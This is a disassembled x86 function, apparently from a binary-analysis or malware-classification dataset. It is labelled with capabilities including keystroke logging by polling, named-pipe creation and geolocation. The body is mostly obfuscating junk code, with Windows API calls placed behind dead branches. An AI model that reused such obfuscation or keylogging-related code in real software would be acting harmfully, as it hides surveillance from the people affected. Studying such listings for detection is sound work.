Function at 0x10008f62
Capabilities:
Compare security identifiers
Create pipe
Get geographical location
Log keystrokes via polling
Parse pe header
Query environment variable

Disassembly:
mov eax, 0x1007d649
call fcn.1007cd70
mov eax, 0x1414
call fcn.1007a600
push ebx
push esi
push edi
mov edi, 0x7f6af112
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x458], edi
xor eax, eax
mov dword [ebp - 0x454], edi
mov dword [ebp - 0x450], edi
mov dword [ebp - 0x44c], edi
mov dword [ebp - 0x3c], 0x54fddd3f
push 0xfffffffffffffff9
pop ecx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], ecx
push 0xfffffffffffffffa
mov dword [ebp - 0x6c], ecx
pop ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], 0x2d71
mov dword [ebp - 0x3c], 0x76fbfcc0
push 7
mov byte [ebp - 0x65], dl
mov dword [ebp - 0x38], 0x5a74
mov dword [ebp - 0x454], eax
pop edx
jmp 0x10008fea
mov dword [ebp - 0x44], 0x91e29ea4
dec dword [ebp - 0x44]
inc dword [ebp - 0x454]
cmp dword [ebp - 0x454], edx
jle 0x10008fda
dec dword [ebp - 0x38]
mov dword [ebp - 0x488], edi
mov dword [ebp - 0x484], edi
mov dword [ebp - 0x480], edi
mov dword [ebp - 0x47c], edi
mov dword [ebp - 0x3c], 0x54fddd3f
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], 0x2d71
mov dword [ebp - 0x3c], 0x76fbfcc0
mov dword [ebp - 0x38], 0x5a74
mov dword [ebp - 0x484], eax
jmp 0x10009050
mov dword [ebp - 0x44], 0x91e29ea4
dec dword [ebp - 0x44]
inc dword [ebp - 0x484]
cmp dword [ebp - 0x484], edx
jle 0x10009040
dec dword [ebp - 0x38]
xor ebx, ebx
mov dword [ebp - 0x3c], 0xffffffff
inc ebx
mov dword [ebp - 0x3c], 0x8a6b950b
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10009093
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa4], 0xc75b57fd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000907b
xor eax, eax
push 0xfffffffffffffff8
mov dword [ebp - 0xa4], eax
pop ecx
jmp 0x100090f6
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], ecx
inc dword [ebp - 0x44]
cmp dword [ebp - 0xa4], eax
je 0x100090e1
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x100090f0
push eax
push 0x13e9
push eax
push 0x1980
push 0x13df
call dword [sym.imp.GDI32.dll_ExtCreatePen]
push 0xfffffffffffffff8
pop ecx
jmp 0x100090ee
mov dword [ebp - 0x54], 0xaf42
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x54], eax
xor eax, eax
dec dword [ebp - 0xa4]
cmp dword [ebp - 0xa4], 0xffffffef
jne 0x1000909e
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000912d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb8], 0x2799ac78
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10009115
xor eax, eax
push 0xfffffffffffffffe
pop ecx
mov dword [ebp - 0x1c], eax
push 2
pop esi
cmp dword [ebp - 0x1c], eax
jg 0x100092b3
mov dword [ebp - 0x24], 0xf38c0887
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0xb8], 0
je 0x10009186
mov dword [ebp - 0x14], 0xc7555b7c
xor eax, eax
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jl 0x1000925b
mov dword [ebp - 0x3c], 0x5f0b
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x34], ebx
dec dword [ebp - 0x14]
jns 0x1000916f
jmp 0x1000925b
mov dword [ebp - 0x20], 0xfffffffd
lea ecx, [ebp - 0x98c]
push esi
call fcn.10024520
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
jmp 0x100091b7
push dword [ebp - 0x14]
lea ecx, [ebp - 0x98c]
call fcn.1002458d
or dword [eax], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100091a3
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x20]
jne 0x100091d9
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x20], 0xfbde283b
ja 0x100091d9
xor eax, eax
mov edx, eax
jmp 0x100091db
mov edx, ebx
mov eax, dword [ebp - 0xb8]
xor ecx, ecx
cmp eax, edx
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
setl cl
imul edx, ecx
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jg 0x10009247
mov dword [ebp - 0x44], 0xbfe7
mov eax, dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x44], eax
jne 0x1000921d
mov esi, eax
cmp dword [ebp - 0x18], eax
je 0x1000921f
mov esi, ebx
push eax
lea ecx, [ebp - 0x98c]
call fcn.1002458d
xor ecx, ecx
cmp esi, 0xffffffff
setne cl
mov dword [eax], ecx
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x10009244
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x10009205
push 2
pop esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x98c]
call fcn.10024588
push 0xfffffffffffffffe
xor eax, eax
pop ecx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x100092a5
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1000927f
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0xb8], 0
jne 0x1000927d
dec dword [ebp - 0x18]
jns 0x1000926b
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x100092a0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0xb8], 0
jne 0x1000929e
inc dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
jle 0x10009287
xor eax, eax
dec dword [ebp - 0x24]
jns 0x10009263
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1000913f
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x100092cc
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
xor eax, eax
mov dword [ebp - 0x468], edi
mov dword [ebp - 0x464], edi
mov dword [ebp - 0x460], edi
mov dword [ebp - 0x45c], edi
mov dword [ebp - 0x3c], 0x54fddd3f
push 0xfffffffffffffff9
pop ecx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 0x3c], 0x2d71
mov dword [ebp - 0x3c], 0x76fbfcc0
mov dword [ebp - 0x38], 0x5a74
mov dword [ebp - 0x464], eax
jmp 0x1000932e
mov dword [ebp - 0x44], 0x91e29ea4
dec dword [ebp - 0x44]
inc dword [ebp - 0x464]
cmp dword [ebp - 0x464], 7
jle 0x1000931e
dec dword [ebp - 0x38]
lea eax, [ebp - 0xf98]
movdqa xmm0, xmmword [0x10007e60]
lea ecx, [ebp - 0x1350]
push eax
lea eax, [ebp - 0xfa8]
mov dword [ebp - 0x18], esi
push eax
movdqu xmmword [ebp - 0xfa8], xmm0
call fcn.1002459c
lea ecx, [ebp - 0x139]
mov esi, eax
call fcn.10008f5a
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x710]
push dword [esi]
call fcn.10024562
mov dword [ebp - 4], ebx
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], 0xf63588c5
push 3
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], 0x16
pop ecx
jmp 0x100093cd
mov dword [ebp - 0x14], 0x876942a1
mov dword [ebp - 0x14], eax
jmp 0x100093c5
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x100093c2
call dword [sym.imp.USER32.dll_DestroyCaret]
push 3
xor eax, eax
pop ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jle 0x100093ae
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x14
jg 0x100093a2
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jg 0x10009532
jmp 0x100093e3
xor eax, eax
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x44], 0x57f6cc9c
mov dword [ebp - 0x34], 0xcf041577
push 0xfffffffffffffffe
mov dword [ebp - 0x48], 0xe283d1f0
pop ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x58], 0x909d
mov dword [ebp - 0x14], eax
jmp 0x1000941e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x170], 0xb4956e74
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000940d
inc dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x170], eax
jne 0x10009443
push ebx
lea ecx, [ebp - 0x710]
call fcn.1002458d
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x14], 5
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x58]
jne 0x10009466
mov eax, dword [ebp - 0x34]
push 2
pop eax
push eax
lea ecx, [ebp - 0x710]
call fcn.1002458d
mov esi, dword [ebp - 0x20]
mov edi, eax
mov ecx, dword [ebp - 0x54]
sub esi, 0xacb2d505
push dword [ebp - 0x18]
neg esi
sbb esi, esi
xor edx, edx
add esi, 8
cmp esi, ecx
lea ecx, [ebp - 0x710]
setne dl
xor ebx, ebx
imul eax, edx, 0xffff
cmp eax, dword [edi]
setle bl
call fcn.1002458d
xor ecx, ecx
cmp dword [eax], ebx
setg cl
xor eax, eax
cmp ecx, 5
setne al
xor ebx, ebx
mov dword [ebp - 0x20], eax
inc ebx
mov eax, dword [ebp - 0x170]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
cmp ebx, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0xec7d
setne cl
xor edx, edx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
neg eax
add eax, eax
mov dword [ebp - 0x14], eax
imul ecx, dword [ebp - 0x28], 0x1401
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, 0xe240
jge 0x1000950f
mov ecx, ebx
cmp dword [ebp - 0x48], eax
jne 0x10009511
mov ecx, eax
xor eax, eax
test ecx, ecx
push 3
sete al
mov dword [ebp - 0x170], eax
inc dword [ebp - 0x18]
pop eax
cmp dword [ebp - 0x18], eax
jle 0x100093e1
mov edi, 0x7f6af112
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x710]
call fcn.10024588
push 2
pop esi
push esi
lea ecx, [ebp - 0xd98]
call fcn.10024520
mov dword [ebp - 4], esi
xor eax, eax
mov dword [ebp - 0x14], 0xeef20fe6
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10009589
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd98]
call fcn.1002458d
mov dword [eax], 0x571177e8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000956b
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1000959b
mov dword [ebp - 0x44], 0x363f
inc dword [ebp - 0x44]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x1000958e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd98]
call fcn.10024588
mov dword [ebp - 0x478], edi
xor eax, eax
mov dword [ebp - 0x474], edi
mov dword [ebp - 0x470], edi
mov dword [ebp - 0x46c], edi
or edi, 0xffffffff
mov dword [ebp - 0x1c], 0x7e17
mov dword [ebp - 0x30], 0xa7525d2d
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x34], 4
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x100095fc
push 0x21d1
push 0x114f
call dword [sym.imp.USER32.dll_SetCaretPos]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10009618
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
xor ebx, ebx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
setg bl
xor edx, edx
cmp ecx, eax
setge dl
xor eax, eax
cmp ebx, edx
setle al
sub eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x14], eax
xor eax, eax
cmp dword [ebp - 0x14], 0xfffffffd
jl 0x10009687
mov dword [ebp - 0x34], 0x4ddc8777
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x10009668
push 0x86d
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
xor ebx, ebx
inc ebx
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], 0x89d9e62b
mov eax, dword [ebp - 0x1c]
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setl cl
mov dword [ebp - 0x34], ecx
jmp 0x100096b8
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x100096b5
push eax
push 0x383
push 0xaee
push 0x7f5
push 0x1435
push 0xa7b
push 0x15d5
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
xor ebx, ebx
inc ebx
mov dword [ebp - 0x3c], 0x54fddd3f
lea ecx, [ebp - 0x43c]
push esi
call fcn.10024520
push 3
pop ecx
mov dword [ebp - 4], ecx
xor eax, eax
mov dword [ebp - 0x3c], 0xedfa
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x100096fa
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1150], 0x85f70ad6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100096e2
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10009710
push dword [ebp - 0x18]
call fcn.1002458d
mov dword [eax], 0x20f89b54
inc dword [ebp - 0x18]
lea ecx, [ebp - 0x43c]
cmp dword [ebp - 0x18], esi
jl 0x100096ff
push ebx
call fcn.1002458d
push ebx
lea ecx, [ebp - 0x43c]
and dword [eax], 0
call fcn.1002458d
cmp dword [eax], esi
jg 0x100098ee
xor eax, eax
mov dword [ebp - 0x28], 9
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x10009758
push eax
push eax
push 0xf14
call dword [sym.imp.ADVAPI32.dll_CopySid]
xor eax, eax
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x28], eax
jl 0x100098c9
push 3
pop edi
mov dword [ebp - 0x48], 0xd962ee6d
lea ecx, [ebp - 0xb78]
push edi
call fcn.10024520
xor eax, eax
mov byte [ebp - 4], 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x100097a6
push dword [ebp - 0x14]
lea ecx, [ebp - 0xb78]
call fcn.1002458d
mov dword [eax], 0xa9f8d19c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10009788
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x100097b8
push eax
call dword [sym.imp.USER32.dll_IsRectEmpty]
xor eax, eax
mov dword [ebp - 0x48], esi
cmp dword [ebp - 0x48], eax
jl 0x100098af
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], eax
jl 0x100098a6
mov dword [ebp - 0x2c], 0x3631e19e
mov dword [ebp - 0x38], 0x17a68fa
inc dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
jmp 0x10009894
mov dword [ebp - 0x20], 0xfffffffb
mov dword [ebp - 0x44], 0xe11914cc
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x1000988e
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x1150], 0
jne 0x10009822
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x10009824
mov edi, eax
jmp 0x10009826
xor eax, eax
mov edi, ebx
mov dword [ebp - 0x44], 0x3b15a8d
cmp dword [ebp - 0x44], ebx
jne 0x10009839
cmp dword [ebp - 0x28], eax
je 0x10009839
mov eax, ebx
xor edx, edx
cmp eax, 7
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, 0x8e60
jle 0x1000985c
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x2c], eax
je 0x1000985e
mov esi, ebx
push ebx
lea ecx, [ebp - 0xb78]
call fcn.1002458d
lea ecx, [esi + edi]
mov dword [eax], ecx
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x10009884
push 0x1d7f
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
dec dword [ebp - 0x20]
jns 0x1000980a
push 2
xor eax, eax
pop esi
dec dword [ebp - 0x38]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jle 0x100097f0
dec dword [ebp - 0x14]
jns 0x100097d7
dec dword [ebp - 0x48]
jns 0x100097c4
push 3
pop eax
lea ecx, [ebp - 0xb78]
mov byte [ebp - 4], al
call fcn.10024588
dec dword [ebp - 0x28]
jns 0x10009764
push ebx
lea ecx, [ebp - 0x43c]
call fcn.1002458d
push ebx
lea ecx, [ebp - 0x43c]
inc dword [eax]
call fcn.1002458d
cmp dword [eax], esi
jle 0x10009738
or edi, 0xffffffff
lea ecx, [ebp - 0x43c]
mov dword [ebp - 4], edi
call fcn.10024588
push 0xfffffffffffffff9
pop eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], eax
xor eax, eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x3c], 0x8a6b950b
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000993a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x98], 0xc75b57fd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10009922
xor eax, eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0xffffffef
je 0x100099ad
push 0xfffffffffffffff8
pop ecx
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], ecx
inc dword [ebp - 0x44]
cmp dword [ebp - 0x98], eax
je 0x1000998f
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1000999e
push eax
push 0x13e9
push eax
push 0x1980
push 0x13df
call dword [sym.imp.GDI32.dll_ExtCreatePen]
push 0xfffffffffffffff8
pop ecx
jmp 0x1000999c
mov dword [ebp - 0x54], 0xaf42
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x54], eax
xor eax, eax
dec dword [ebp - 0x98]
cmp dword [ebp - 0x98], 0xffffffef
jne 0x1000994c
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100099de
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd4], 0x2799ac78
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100099c6
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x10009b5f
mov dword [ebp - 0x24], 0xf38c0887
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0xd4], 0
je 0x10009a34
mov dword [ebp - 0x14], 0xc7555b7c
xor eax, eax
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jl 0x10009b07
push 0xfffffffffffffffe
pop ecx
mov dword [ebp - 0x3c], 0x5f0b
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x34], ebx
dec dword [ebp - 0x14]
jns 0x10009a1d
jmp 0x10009b07
mov dword [ebp - 0x20], 0xfffffffd
lea ecx, [ebp - 0x9a4]
push esi
call fcn.10024520
xor eax, eax
mov dword [ebp - 4], 5
mov dword [ebp - 0x14], eax
jmp 0x10009a68
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9a4]
call fcn.1002458d
mov dword [eax], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10009a55
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x20]
jne 0x10009a8a
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x20], 0xfbde283b
ja 0x10009a8a
xor eax, eax
mov edx, eax
jmp 0x10009a8c
mov edx, ebx
mov eax, dword [ebp - 0xd4]
xor ecx, ecx
cmp eax, edx
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
setl cl
imul edx, ecx
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jg 0x10009af7
mov dword [ebp - 0x44], 0xbfe7
mov eax, dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x44], eax
jne 0x10009ace
mov esi, eax
cmp dword [ebp - 0x18], eax
je 0x10009ad0
mov esi, ebx
push eax
lea ecx, [ebp - 0x9a4]
call fcn.1002458d
xor ecx, ecx
cmp esi, edi
setne cl
mov dword [eax], ecx
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x10009af4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x10009ab6
push 2
pop esi
lea ecx, [ebp - 0x9a4]
mov dword [ebp - 4], edi
call fcn.10024588
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x10009b51
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x10009b2b
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0xd4], 0
jne 0x10009b29
dec dword [ebp - 0x18]
jns 0x10009b17
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x10009b4c
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0xd4], 0
jne 0x10009b4a
inc dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
jle 0x10009b33
xor eax, eax
dec dword [ebp - 0x24]
jns 0x10009b0f
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x100099ea
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10009b76
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
mov dword [ebp - 0x3c], 0x2d71
lea ecx, [ebp - 0xeac]
mov dword [ebp - 0x3c], 0xe0bcd8c4
push ebx
call fcn.10024520
mov dword [ebp - 4], 6
mov eax, 0xffff
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10009bca
push dword [ebp - 0x14]
lea ecx, [ebp - 0xeac]
call fcn.1002458d
mov dword [eax], 0xfffffffd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10009bac
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10009beb
push ebx
push 0x2613
push 0x1623
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
dec dword [ebp - 0x44]
lea ecx, [ebp - 0xeac]
mov dword [ebp - 4], edi
call fcn.10024588
mov dword [ebp - 0x3c], 0x76fbfcc0
lea ecx, [ebp - 0x9bc]
mov dword [ebp - 0x14], 0x8cccddd1
push ebx
call fcn.10024520
mov dword [ebp - 4], 7
lea ecx, [ebp - 0x37c]
mov eax, 0xffff
mov dword [ebp - 0x30], 0x722ba7b7
mov dword [ebp - 0x44], eax
push esi
call fcn.10024520
push ebx
lea ecx, [ebp - 0xb3c]
mov byte [ebp - 4], 8
call fcn.10024520
xor eax, eax
mov byte [ebp - 4], 9
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x10009c74
push dword [ebp - 0x24]
lea ecx, [ebp - 0x9bc]
call fcn.1002458d
mov dword [eax], 5
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10009c56
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10009c9a
push dword [ebp - 0x24]
lea ecx, [ebp - 0x37c]
call fcn.1002458d
mov dword [eax], 0xb168f92
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10009c7c
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10009cb6
push dword [ebp - 0x24]
lea ecx, [ebp - 0xb3c]
call fcn.1002458d
mov dword [eax], 0xe3bf118c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10009c9f
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x37c]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x30], eax
xor eax, eax
push eax
call fcn.1002458d
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x30]
sub edx, ecx
neg edx
sbb edx, edx
inc edx
add edx, dword [ebp - 0x14]
imul edx, dword [ebp - 0x14]
imul ecx, edx, 0xb89b
mov dword [eax], ecx
xor eax, eax
push eax
lea ecx, [ebp - 0x37c]
call fcn.1002458d
cmp dword [eax], 0
jne 0x10009d0f
xor eax, eax
cmp dword [ebp - 0x44], eax
jne 0x10009d11
mov edi, eax
jmp 0x10009d13
xor eax, eax
mov edi, ebx
mov esi, dword [ebp - 0x14]
lea ecx, [ebp - 0x9bc]
push eax
call fcn.1002458d
mov dword [eax], esi
xor eax, eax
cmp esi, 0xfffffffb
sete al
xor ecx, ecx
cmp eax, edi
setge cl
sub ecx, 0x365fe389
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 5
ja 0x10009d72
push ebx
lea ecx, [ebp - 0x37c]
call fcn.1002458d
cmp dword [eax], 0
je 0x10009d72
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x10009d74
push eax
lea ecx, [ebp - 0x37c]
call fcn.1002458d
cmp dword [eax], 0
je 0x10009d72
mov esi, ebx
xor eax, eax
jmp 0x10009d76
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0xb3c]
call fcn.1002458d
lea ecx, [ebp - 0xb3c]
mov dword [eax], esi
call fcn.10024588
lea ecx, [ebp - 0x37c]
call fcn.10024588
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9bc]
call fcn.10024588
push 2
pop edi
mov dword [ebp - 0x38], 0x5a74
lea ecx, [ebp - 0x394]
push edi
call fcn.10024520
mov dword [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x44], 8
mov dword [ebp - 0x14], eax
jmp 0x10009de8
push dword [ebp - 0x14]
call fcn.1002458d
or dword [eax], 0xffffffff
inc dword [ebp - 0x14]
lea ecx, [ebp - 0x394]
cmp dword [ebp - 0x14], edi
jl 0x10009dda
push ebx
call fcn.1002458d
push ebx
lea ecx, [ebp - 0x394]
mov dword [eax], edi
call fcn.1002458d
cmp dword [eax], 0x14
jge 0x10009e93
mov esi, 0x11c1
mov dword [ebp - 0x14], 0x35f394a2
xor eax, eax
mov dword [ebp - 0x944], esi
mov dword [ebp - 0x940], esi
mov dword [ebp - 0x93c], esi
mov dword [ebp - 0x938], esi
mov dword [ebp - 0x14], eax
jmp 0x10009e6b
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x10009e60
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x944], 0x6715
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10009e47
xor eax, eax
cmp dword [ebp - 0x93c], eax
jne 0x10009e71
